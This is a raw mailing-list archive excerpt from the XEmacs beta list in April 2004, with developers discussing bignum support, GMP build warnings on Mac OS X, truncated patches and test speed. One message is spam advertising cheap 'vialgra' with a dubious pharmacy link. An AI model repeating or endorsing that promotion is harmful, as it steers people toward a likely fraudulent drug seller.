TGG8RXLcXOvFjE11CHjMTgMAAAAAAAAAAAAAAAAA ------=_NextPart_000_001B_01C0CA80.6B015D10-- From xemacs-beta-admin@xemacs.org Mon Apr 19 20:21:07 2004 Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3K0L1s15234; Mon, 19 Apr 2004 20:21:01 -0400 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3K0K8h14339 for xemacs-beta-mailman@xemacs.org; Mon, 19 Apr 2004 20:20:08 -0400 Received: (from mail@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3K0K6h14313 for turnbull@tux.org; Mon, 19 Apr 2004 20:20:06 -0400 Received: from youngs.au.com (CPE-61-9-212-151.qld.bigpond.net.au [61.9.212.151]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3K0K5s14268 for ; Mon, 19 Apr 2004 20:20:05 -0400 Received: (from steve@localhost) by youngs.au.com (8.12.9/8.12.9) id i3K0JPhY011295; Tue, 20 Apr 2004 10:19:25 +1000 Mail-Copies-To: never To: XEmacs beta Subject: Re: [21.5] Tweak etc/NEWS Keywords: xemacs,bignums References: <87hdvgwd80.fsf@tleepslib.sk.tsukuba.ac.jp> From: Steve Youngs X-Face: %@A&y\ef)A6pi|q43;M>uyhO)~NP*fpdo0XrUuutf0|nku\O5JV(7EG%odc'n6}G@tYRl+B #[n,%B`.sHZ5>3MZvrm%,rWE7)c}ZXjH\>=p@AL\y\gyu|.lJ8B`F++86 Organization: The XEmacs Project X-X-Day: Only 2431496 days till X-Day. Got Slack? X-URL: X-Request-PGP: X-OpenPGP-Fingerprint: 1659 2093 19D5 C06E D320 3A20 1D27 DB4B A94B 3003 X-Discordian-Date: Setting Orange, the 37th day of Discord, 3170. X-Attribution: SY Mail-Followup-To: XEmacs beta Date: Tue, 20 Apr 2004 10:19:23 +1000 In-Reply-To: (Hrvoje Niksic's message of "Mon, 19 Apr 2004 17:48:02 +0200") Message-ID: User-Agent: Gnus/5.110002 (No Gnus v0.2) XEmacs/21.4 (Security Through Obscurity, linux) MIME-Version: 1.0 Content-Type: multipart/signed; boundary="=-=-="; micalg=pgp-sha1; protocol="application/pgp-signature" X-XEmacs-List: beta X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on gwyn.tux.org X-Spam-Status: No, hits=0.0 required=5.0 tests=none autolearn=no version=2.63 Sender: xemacs-beta-admin@xemacs.org Errors-To: xemacs-beta-admin@xemacs.org X-BeenThere: xemacs-beta@xemacs.org X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: XEmacs Beta Testers List-Unsubscribe: , --=-=-= * Hrvoje Niksic writes: > I don't think we should advertise bignums as a major feature prior > to any benchmarking having been done. We were saying that we support bignums, we didn't say anything about how it affects performance. So I disagree. > The entry also doesn't mention that we depend on external MP > libraries, which is not at all obvious to me. Yes, definitely. The external requirements _must_ be mentioned. And it may also pay to mention how to test for bignums etc `(featurep 'bignum)'. > We might want to include the source of GNU MP (or equivalent) in a > `lib/' directory and use it on machines that lack it on the system. I don't see the point in doing this. Unless of course you also include the source for libpng, libjpeg, libcompface, and all the other libraries that XEmacs can link to. An XEmacs linked _without_ GNU MP will work fine, it just won't have bignums, bigfloats, or ratios(?). An XEmacs linked _without_ libpng will work fine, it just won't be able to display PNG graphics. See my point? > For implementational simplicity, we might also want to avoid > supporting BSD MP -- but that's obviously Jerry's call. Yes, it's Jerry's call, but seeing as though he's already done it, we may as well keep it. :-) -- |---------------------| | XEmacs - The only _______ you'll ever need. | | Fill in the blank, yes, it's THAT good! | |-------------------------------------| --=-=-= Content-Type: application/pgp-signature -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.3 (GNU/Linux) Comment: Eicq - The XEmacs ICQ Client iEYEABECAAYFAkCEbI0ACgkQHSfbS6lLMAMDOACgix7pKPg7YQoyD/o+qn8OIVTv MkQAoJBCf+CfoyfOvOxEKndqoeWM92WP =L4uL -----END PGP SIGNATURE----- --=-=-=-- From xemacs-beta-admin@xemacs.org Mon Apr 19 20:31:02 2004 Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3K0V2s25485; Mon, 19 Apr 2004 20:31:02 -0400 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3K0U7L23974 for xemacs-beta-mailman@xemacs.org; Mon, 19 Apr 2004 20:30:07 -0400 Received: (from mail@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3K0U4i23919 for turnbull@tux.org; Mon, 19 Apr 2004 20:30:04 -0400 Received: from youngs.au.com (CPE-61-9-212-151.qld.bigpond.net.au [61.9.212.151]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3K0U3s23869 for ; Mon, 19 Apr 2004 20:30:03 -0400 Received: (from steve@localhost) by youngs.au.com (8.12.9/8.12.9) id i3K0TfmW011704; Tue, 20 Apr 2004 10:29:41 +1000 Mail-Copies-To: never To: XEmacs beta Subject: Re: Bignums, ratios, and bigfloats Keywords: featurep References: <86hdvx4t12.fsf@comcast.net> <857jwcb8dt.fsf@junk.nocrew.org> From: Steve Youngs X-Face: %@A&y\ef)A6pi|q43;M>uyhO)~NP*fpdo0XrUuutf0|nku\O5JV(7EG%odc'n6}G@tYRl+B #[n,%B`.sHZ5>3MZvrm%,rWE7)c}ZXjH\>=p@AL\y\gyu|.lJ8B`F++86 Organization: The XEmacs Project X-X-Day: Only 2431496 days till X-Day. Got Slack? X-URL: X-Request-PGP: X-OpenPGP-Fingerprint: 1659 2093 19D5 C06E D320 3A20 1D27 DB4B A94B 3003 X-Discordian-Date: Setting Orange, the 37th day of Discord, 3170. X-Attribution: SY Mail-Followup-To: XEmacs beta Date: Tue, 20 Apr 2004 10:29:39 +1000 In-Reply-To: <857jwcb8dt.fsf@junk.nocrew.org> (Lars Brinkhoff's message of "19 Apr 2004 11:54:22 +0200") Message-ID: User-Agent: Gnus/5.110002 (No Gnus v0.2) XEmacs/21.4 (Security Through Obscurity, linux) MIME-Version: 1.0 Content-Type: multipart/signed; boundary="=-=-="; micalg=pgp-sha1; protocol="application/pgp-signature" X-XEmacs-List: beta X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on gwyn.tux.org X-Spam-Status: No, hits=0.0 required=5.0 tests=none autolearn=no version=2.63 Sender: xemacs-beta-admin@xemacs.org Errors-To: xemacs-beta-admin@xemacs.org X-BeenThere: xemacs-beta@xemacs.org X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: XEmacs Beta Testers List-Unsubscribe: , --=-=-= * Lars Brinkhoff writes: > Is there a featurep-thing that signals that bignums and/or ratios > are available? Yes. (featurep 'bignum) (featurep 'bigfloat) (featurep 'ratio) -- |---------------------| | XEmacs - The only _______ you'll ever need. | | Fill in the blank, yes, it's THAT good! | |-------------------------------------| --=-=-= Content-Type: application/pgp-signature -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.3 (GNU/Linux) Comment: Eicq - The XEmacs ICQ Client iEYEABECAAYFAkCEbvQACgkQHSfbS6lLMAMCSQCgsDDvzZPot6ipo12j0y7X84L/ db4AoNK1ar2DyuAzImHUnbsP31A+hyUP =SYof -----END PGP SIGNATURE----- --=-=-=-- From xemacs-beta-admin@xemacs.org Tue Apr 20 00:33:12 2004 Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3K4X2s13726; Tue, 20 Apr 2004 00:33:02 -0400 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3K4WKb05289 for xemacs-beta-mailman@xemacs.org; Tue, 20 Apr 2004 00:32:20 -0400 Received: (from mail@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3K4WJL05166 for turnbull@tux.org; Tue, 20 Apr 2004 00:32:19 -0400 Received: from tleepslib.sk.tsukuba.ac.jp (tleepslib.sk.tsukuba.ac.jp [130.158.98.109]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3K4WIs05087 for ; Tue, 20 Apr 2004 00:32:18 -0400 Received: from steve by tleepslib.sk.tsukuba.ac.jp with local (Exim 3.36 #1 (Debian)) id 1BFmvX-00008o-00; Tue, 20 Apr 2004 13:32:07 +0900 To: Malcolm Purvis Cc: xemacs-beta@xemacs.org Subject: Re: GMP causes spew of warnings on Mac OS X References: <87y8oswfyp.fsf@tleepslib.sk.tsukuba.ac.jp> <87d664wbfy.fsf@tleepslib.sk.tsukuba.ac.jp> Organization: The XEmacs Project From: "Stephen J. Turnbull" Date: Tue, 20 Apr 2004 13:32:06 +0900 In-Reply-To: (Malcolm Purvis's message of "Mon, 19 Apr 2004 22:07:07 +1000") Message-ID: <87n057tgl5.fsf@tleepslib.sk.tsukuba.ac.jp> User-Agent: Gnus/5.1006 (Gnus v5.10.6) XEmacs/21.4 (Portable Code, linux) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-XEmacs-List: beta X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on gwyn.tux.org X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.63 Sender: xemacs-beta-admin@xemacs.org Errors-To: xemacs-beta-admin@xemacs.org X-BeenThere: xemacs-beta@xemacs.org X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: XEmacs Beta Testers List-Unsubscribe: , >>>>> "Malcolm" == Malcolm Purvis writes: Malcolm> I can confirm that the warning messages are generated Malcolm> when compiling with bleeding edge fink and XEmacs. OK, good, or rather, bad. Malcolm> I also think that we have to assume that building on Malcolm> MacOS X means building with fink. It's just a much more Malcolm> convenient build environment than relying on the user to Malcolm> configure and install random packages. Ah, but I took a look at DarwinPorts. "Ports" doesn't refer to the applications ported, it refers to the dependency-build-install-dbm system that the *BSDs, especially FreeBSD, call the "ports system". True, it does require a build, which is less convenient than the Fink binary packages (although I use either build from source or from CVS). But there is an alternative to Fink. I think we can expect them to converge in many ways, and also we can probably expect Fink to fix these warnings, which don't seem to occur on other systems. I don't see a way to fix this in XEmacs except the slew of #defines I posted, and that's not really a good idea in case we're operating on a system that needs them for some reason. -- Institute of Policy and Planning Sciences http://turnbull.sk.tsukuba.ac.jp University of Tsukuba Tennodai 1-1-1 Tsukuba 305-8573 JAPAN Ask not how you can "do" free software business; ask what your business can "do for" free software. From xemacs-beta-admin@xemacs.org Tue Apr 20 00:51:03 2004 Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3K4p2s03704; Tue, 20 Apr 2004 00:51:02 -0400 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3K4ojW32082 for xemacs-beta-mailman@xemacs.org; Tue, 20 Apr 2004 00:50:45 -0400 Received: (from mail@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3K4oiw31845 for turnbull@tux.org; Tue, 20 Apr 2004 00:50:44 -0400 Received: from tleepslib.sk.tsukuba.ac.jp (tleepslib.sk.tsukuba.ac.jp [130.158.98.109]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3K4ofs31273; Tue, 20 Apr 2004 00:50:41 -0400 Received: from steve by tleepslib.sk.tsukuba.ac.jp with local (Exim 3.36 #1 (Debian)) id 1BFnDU-0000Fc-00; Tue, 20 Apr 2004 13:50:40 +0900 To: Jerry James Cc: XEmacs Beta Subject: Re: [Q21.4] truncate range error References: <85brlob90y.fsf@junk.nocrew.org> Organization: The XEmacs Project From: "Stephen J. Turnbull" Date: Tue, 20 Apr 2004 13:50:40 +0900 In-Reply-To: (Jerry James's message of "Mon, 19 Apr 2004 16:02:24 -0500") Message-ID: <877jwbtfq7.fsf@tleepslib.sk.tsukuba.ac.jp> User-Agent: Gnus/5.1006 (Gnus v5.10.6) XEmacs/21.4 (Portable Code, linux) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-XEmacs-List: beta X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on gwyn.tux.org X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.63 Sender: xemacs-beta-admin@xemacs.org Errors-To: xemacs-beta-admin@xemacs.org X-BeenThere: xemacs-beta@xemacs.org X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: XEmacs Beta Testers List-Unsubscribe: , >>>>> "Jerry" == Jerry James writes: Jerry> Bummer. That's the third patch of mine to get mangled or Jerry> truncated in the last couple of months. I am living on the Jerry> bleeding edge, though (CVS XEmacs 21.5 and CVS packages, Jerry> with only slight delays in updating). Attaching the patch Jerry> has worked in the past, so I'll try that. I've seen this too, a lot. I'm trying to dig up the reference to a known problem with CVS, ssh, and pipes. I can't remember where I saw it, though. :-( Are you doing cvs diffs via :ext or :pserver? -- Institute of Policy and Planning Sciences http://turnbull.sk.tsukuba.ac.jp University of Tsukuba Tennodai 1-1-1 Tsukuba 305-8573 JAPAN Ask not how you can "do" free software business; ask what your business can "do for" free software. From xemacs-beta-admin@xemacs.org Tue Apr 20 02:06:52 2004 Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3K66Bs11419; Tue, 20 Apr 2004 02:06:11 -0400 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3K65QJ10392 for xemacs-beta-mailman@xemacs.org; Tue, 20 Apr 2004 02:05:26 -0400 Received: (from mail@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3K65Ou10344 for turnbull@tux.org; Tue, 20 Apr 2004 02:05:24 -0400 Received: from junk.nocrew.org (junk.nocrew.org [213.242.147.30]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3K64os09602; Tue, 20 Apr 2004 02:04:50 -0400 Received: from lars by junk.nocrew.org with local (Exim 3.35 #1 (Debian)) id 1BFoN9-0002ef-00; Tue, 20 Apr 2004 08:04:43 +0200 To: Jerry James Cc: Vin Shelton , XEmacs Beta , XEmacs Patches Subject: Re: [Q21.4] truncate range error References: <85brlob90y.fsf@junk.nocrew.org> From: Lars Brinkhoff Organization: nocrew Date: 20 Apr 2004 08:04:43 +0200 In-Reply-To: Message-ID: <85hdvf9ock.fsf@junk.nocrew.org> Lines: 19 User-Agent: Gnus/5.0808 (Gnus v5.8.8) Emacs/20.7 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-XEmacs-List: beta X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on gwyn.tux.org X-Spam-Status: No, hits=0.0 required=5.0 tests=none autolearn=no version=2.63 Sender: xemacs-beta-admin@xemacs.org Errors-To: xemacs-beta-admin@xemacs.org X-BeenThere: xemacs-beta@xemacs.org X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: XEmacs Beta Testers List-Unsubscribe: , Jerry James writes: > Vin Shelton wrote: > > Unfortunately, the patch got truncated here, Jerry. Can you please > > resubmit? > > Bummer. That's the third patch of mine to get mangled or truncated > in the last couple of months. [...] If that doesn't work, it will > have to wait until Wednesday. > > Wait. Lars! I sent the patch directl I'm guessing the rest would be something like "...y to you, so could you please resend it?". Sorry, I got it truncated too. -- Lars Brinkhoff, Services for Unix, Linux, GCC, HTTP Brinkhoff Consulting http://www.brinkhoff.se/ From xemacs-beta-admin@xemacs.org Tue Apr 20 02:41:03 2004 Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3K6f1s27373; Tue, 20 Apr 2004 02:41:02 -0400 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3K6e7426172 for xemacs-beta-mailman@xemacs.org; Tue, 20 Apr 2004 02:40:07 -0400 Received: (from mail@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3K6e4o26104 for turnbull@tux.org; Tue, 20 Apr 2004 02:40:05 -0400 Received: from youngs.au.com (CPE-61-9-212-151.qld.bigpond.net.au [61.9.212.151]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3K6e3s26059 for ; Tue, 20 Apr 2004 02:40:03 -0400 Received: (from steve@localhost) by youngs.au.com (8.12.9/8.12.9) id i3K6YbLi006891; Tue, 20 Apr 2004 16:34:37 +1000 Mail-Copies-To: never To: XEmacs Beta Subject: Re: [Success] XEmacs 21.5-b17 "chayote" (+CVS-20040419) i686-pc-linux Keywords: steve,build References: From: Steve Youngs X-Face: %@A&y\ef)A6pi|q43;M>uyhO)~NP*fpdo0XrUuutf0|nku\O5JV(7EG%odc'n6}G@tYRl+B #[n,%B`.sHZ5>3MZvrm%,rWE7)c}ZXjH\>=p@AL\y\gyu|.lJ8B`F++86 Organization: The XEmacs Project X-X-Day: Only 2431496 days till X-Day. Got Slack? X-URL: X-Request-PGP: X-OpenPGP-Fingerprint: 1659 2093 19D5 C06E D320 3A20 1D27 DB4B A94B 3003 X-Discordian-Date: Setting Orange, the 37th day of Discord, 3170. X-Attribution: SY Mail-Followup-To: XEmacs Beta Date: Tue, 20 Apr 2004 16:34:36 +1000 In-Reply-To: (Adrian Aichner's message of "Tue, 20 Apr 2004 07:45:13 +0200") Message-ID: User-Agent: Gnus/5.110002 (No Gnus v0.2) XEmacs/21.4 (Security Through Obscurity, linux) MIME-Version: 1.0 Content-Type: multipart/signed; boundary="=-=-="; micalg=pgp-sha1; protocol="application/pgp-signature" X-XEmacs-List: beta X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on gwyn.tux.org X-Spam-Status: No, hits=0.0 required=5.0 tests=none autolearn=no version=2.63 Sender: xemacs-beta-admin@xemacs.org Errors-To: xemacs-beta-admin@xemacs.org X-BeenThere: xemacs-beta@xemacs.org X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: XEmacs Beta Testers List-Unsubscribe: , --=-=-= * Adrian Aichner writes: > Steve Youngs writes: >> The mule-test speed improvements are _not_ noticeable in this build. > Hi Steve, how do you notice or not notice the improvements? I measure it by the number of cigarettes I can have while waiting for the process to complete. :-P Seriously, the speed improvement is fairly pronounced on my optimised build... it "feels" much faster. But on the debug build it is still agonisingly slow... any improvement is lost in the agony of waiting for the process to complete. > Do you have actual numbers? Beyond gut feelings, no. -- |---------------------| | XEmacs - The only _______ you'll ever need. | | Fill in the blank, yes, it's THAT good! | |-------------------------------------| --=-=-= Content-Type: application/pgp-signature -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.3 (GNU/Linux) Comment: Eicq - The XEmacs ICQ Client iEYEABECAAYFAkCExH0ACgkQHSfbS6lLMAOCrACgywG0z1z7N1vUo0KtjUO69qvZ F6kAoMbzaDXsiwKaGuMNvad8MSDWJl4w =nVBS -----END PGP SIGNATURE----- --=-=-=-- From xemacs-beta-admin@xemacs.org Tue Apr 20 02:55:09 2004 Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3K6t1s14714; Tue, 20 Apr 2004 02:55:01 -0400 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3K6sW314087 for xemacs-beta-mailman@xemacs.org; Tue, 20 Apr 2004 02:54:32 -0400 Received: (from mail@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3K6sVs14046 for turnbull@tux.org; Tue, 20 Apr 2004 02:54:31 -0400 Received: from tleepslib.sk.tsukuba.ac.jp (tleepslib.sk.tsukuba.ac.jp [130.158.98.109]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3K6sUs14026 for ; Tue, 20 Apr 2004 02:54:30 -0400 Received: from steve by tleepslib.sk.tsukuba.ac.jp with local (Exim 3.36 #1 (Debian)) id 1BFp9J-00013b-00; Tue, 20 Apr 2004 15:54:29 +0900 To: XEmacs Developers , Steve Youngs Subject: Re: [Success] XEmacs 21.5-b17 "chayote" (+CVS-20040419) i686-pc-linux References: Organization: The XEmacs Project From: "Stephen J. Turnbull" Date: Tue, 20 Apr 2004 15:54:28 +0900 In-Reply-To: (Steve Youngs's message of "Tue, 20 Apr 2004 14:24:22 +1000") Message-ID: <87n057rvff.fsf@tleepslib.sk.tsukuba.ac.jp> User-Agent: Gnus/5.1006 (Gnus v5.10.6) XEmacs/21.4 (Portable Code, linux) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-XEmacs-List: beta X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on gwyn.tux.org X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.63 Sender: xemacs-beta-admin@xemacs.org Errors-To: xemacs-beta-admin@xemacs.org X-BeenThere: xemacs-beta@xemacs.org X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: XEmacs Beta Testers List-Unsubscribe: , >>>>> "SY" == Steve Youngs writes: SY> I noticed a slight improvement in the time taken to do the SY> mule-tests. This is good. Unfortunately, I don't think so. It's surely due to the patch I just committed to suppress GC during some of the long-running tests. In other words, it should somewhat encourage people to run the tests, but it's not going to affect your day-to-day editing. You can get a similar speed up for Real Work[tm] with (setq gc-cons-threshold (* some-factor gc-cons-threshold)) in your init file, but since you're only seeing a slight improvement in mule-tests which does a lot of GC, it won't help very much. :-( -- Institute of Policy and Planning Sciences http://turnbull.sk.tsukuba.ac.jp University of Tsukuba Tennodai 1-1-1 Tsukuba 305-8573 JAPAN Ask not how you can "do" free software business; ask what your business can "do for" free software. From xemacs-beta-admin@xemacs.org Tue Apr 20 03:19:08 2004 Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3K7J2s17166; Tue, 20 Apr 2004 03:19:02 -0400 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3K7Ikj16784 for xemacs-beta-mailman@xemacs.org; Tue, 20 Apr 2004 03:18:46 -0400 Received: (from mail@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3K7IjE16727 for turnbull@tux.org; Tue, 20 Apr 2004 03:18:45 -0400 Received: from tleepslib.sk.tsukuba.ac.jp (tleepslib.sk.tsukuba.ac.jp [130.158.98.109]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3K7Igs16666 for ; Tue, 20 Apr 2004 03:18:42 -0400 Received: from steve by tleepslib.sk.tsukuba.ac.jp with local (Exim 3.36 #1 (Debian)) id 1BFpVf-0003vB-00; Tue, 20 Apr 2004 16:17:35 +0900 To: robert delius royar Cc: XEmacs Beta List Subject: configure sets wrong warnings for G++ [was: GMP causes spew ...] References: <87y8oswfyp.fsf@tleepslib.sk.tsukuba.ac.jp> <87d664wbfy.fsf@tleepslib.sk.tsukuba.ac.jp> Organization: The XEmacs Project From: "Stephen J. Turnbull" Date: Tue, 20 Apr 2004 16:17:35 +0900 In-Reply-To: (robert delius royar's message of "Mon, 19 Apr 2004 09:33:47 -0400 (EDT)") Message-ID: <87k70brucw.fsf_-_@tleepslib.sk.tsukuba.ac.jp> User-Agent: Gnus/5.1006 (Gnus v5.10.6) XEmacs/21.4 (Portable Code, linux) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-XEmacs-List: beta X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on gwyn.tux.org X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.63 Sender: xemacs-beta-admin@xemacs.org Errors-To: xemacs-beta-admin@xemacs.org X-BeenThere: xemacs-beta@xemacs.org X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: XEmacs Beta Testers List-Unsubscribe: , >>>>> "robert" == robert delius royar writes: robert> cc1plus: warning: "-Wmissing-declarations" is valid for robert> C/ObjC but not for C++ I don't think you have the most recent configure. If you do, I've screwed up the warning configuration code Yet Again. (But it Works For Me....) I would appreciate it if you would update configure and check whether the command for g++ it produces contains "-missing-declarations" (you can just look in the Installation file, which should tell you both cc for XEmacs and cc for lib-src if they are different). -- Institute of Policy and Planning Sciences http://turnbull.sk.tsukuba.ac.jp University of Tsukuba Tennodai 1-1-1 Tsukuba 305-8573 JAPAN Ask not how you can "do" free software business; ask what your business can "do for" free software. From xemacs-beta-admin@xemacs.org Tue Apr 20 04:11:17 2004 Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3K8B9s26483; Tue, 20 Apr 2004 04:11:09 -0400 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3K8ABK25025 for xemacs-beta-mailman@xemacs.org; Tue, 20 Apr 2004 04:10:11 -0400 Received: (from mail@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3K8A9G24980 for turnbull@tux.org; Tue, 20 Apr 2004 04:10:09 -0400 Received: from main.gmane.org (main.gmane.org [80.91.224.249]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3K8A9s24959 for ; Tue, 20 Apr 2004 04:10:09 -0400 Received: from list by main.gmane.org with local (Exim 3.35 #1 (Debian)) id 1BFqKW-0000eL-00 for ; Tue, 20 Apr 2004 10:10:08 +0200 Received: from p508d11ed.dip.t-dialin.net ([80.141.17.237]) by main.gmane.org with esmtp (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Tue, 20 Apr 2004 10:10:08 +0200 Received: from sven by p508d11ed.dip.t-dialin.net with local (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Tue, 20 Apr 2004 10:10:08 +0200 X-Injected-Via-Gmane: http://gmane.org/ To: xemacs-beta@xemacs.org From: Sven Grundmann Subject: submiting patches against 21.4 or 21.5 ? Date: Tue, 20 Apr 2004 10:09:59 +0200 Lines: 14 Message-ID: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Complaints-To: usenet@sea.gmane.org X-Gmane-NNTP-Posting-Host: p508d11ed.dip.t-dialin.net User-Agent: Gnus/5.1006 (Gnus v5.10.6) XEmacs/21.5 (chayote, cygwin32) Cancel-Lock: sha1:jDz2vOLzYSSvRyhtCCT966Gd4vA= X-XEmacs-List: beta X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on gwyn.tux.org X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.63 Sender: xemacs-beta-admin@xemacs.org Errors-To: xemacs-beta-admin@xemacs.org X-BeenThere: xemacs-beta@xemacs.org X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: XEmacs Beta Testers List-Unsubscribe: , Hello, i submited a patch for etags.el some time ago. I continued my work and fixed completion tables for exuberant ctags. I also made a small fix to list-mode.el to fix completion list having the width of the frame instead the width of the window. Currently i use these in my 21.4 build. Should i submit the patches against 21.4 or should i fit them into 21.5 and submit them against 21.5 ? What would be prefered ? Best regards Sven From xemacs-beta-admin@xemacs.org Tue Apr 20 04:44:03 2004 Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3K8i1s04736; Tue, 20 Apr 2004 04:44:01 -0400 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3K8hFj03660 for xemacs-beta-mailman@xemacs.org; Tue, 20 Apr 2004 04:43:15 -0400 Received: (from mail@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3K8hEY03634 for turnbull@tux.org; Tue, 20 Apr 2004 04:43:14 -0400 Received: from yxa.extundo.com (178.230.13.217.in-addr.dgcsystems.net [217.13.230.178]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3K8hDs03619 for ; Tue, 20 Apr 2004 04:43:13 -0400 Received: from br.by ([147.213.74.201]) by yxa.extundo.com (8.12.11/8.12.11) with SMTP id i3K8hAhZ013095 for ; Tue, 20 Apr 2004 10:43:11 +0200 Date: Tue, 20 Apr 2004 09:49:45 +0000 From: diefenbaugh@usa.healthnet.org Subject: supersetx To: Xemacs-beta References: In-Reply-To: Message-ID: <644J92B2CC56ALGJ@usa.healthnet.org> MIME-Version: 1.0 Content-Type: text/plain Content-Transfer-Encoding: 8bit X-XEmacs-List: beta X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on gwyn.tux.org X-Spam-Status: No, hits=2.1 required=5.0 tests=DCC_CHECK,NO_REAL_NAME autolearn=no version=2.63 Sender: xemacs-beta-admin@xemacs.org Errors-To: xemacs-beta-admin@xemacs.org X-BeenThere: xemacs-beta@xemacs.org X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: XEmacs Beta Testers List-Unsubscribe: , Are you ready to boost your serx life? get super vialgra at only 3 dol! http://drcute.net/sv/index.php?pid=eph9058 From xemacs-beta-admin@xemacs.org Tue Apr 20 05:32:08 2004 Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3K9W3s03129; Tue, 20 Apr 2004 05:32:03 -0400 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3K9VX002520 for xemacs-beta-mailman@xemacs.org; Tue, 20 Apr 2004 05:31:33 -0400 Received: (from mail@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3K9VU302442 for turnbull@tux.org; Tue, 20 Apr 2004 05:31:30 -0400 Received: from 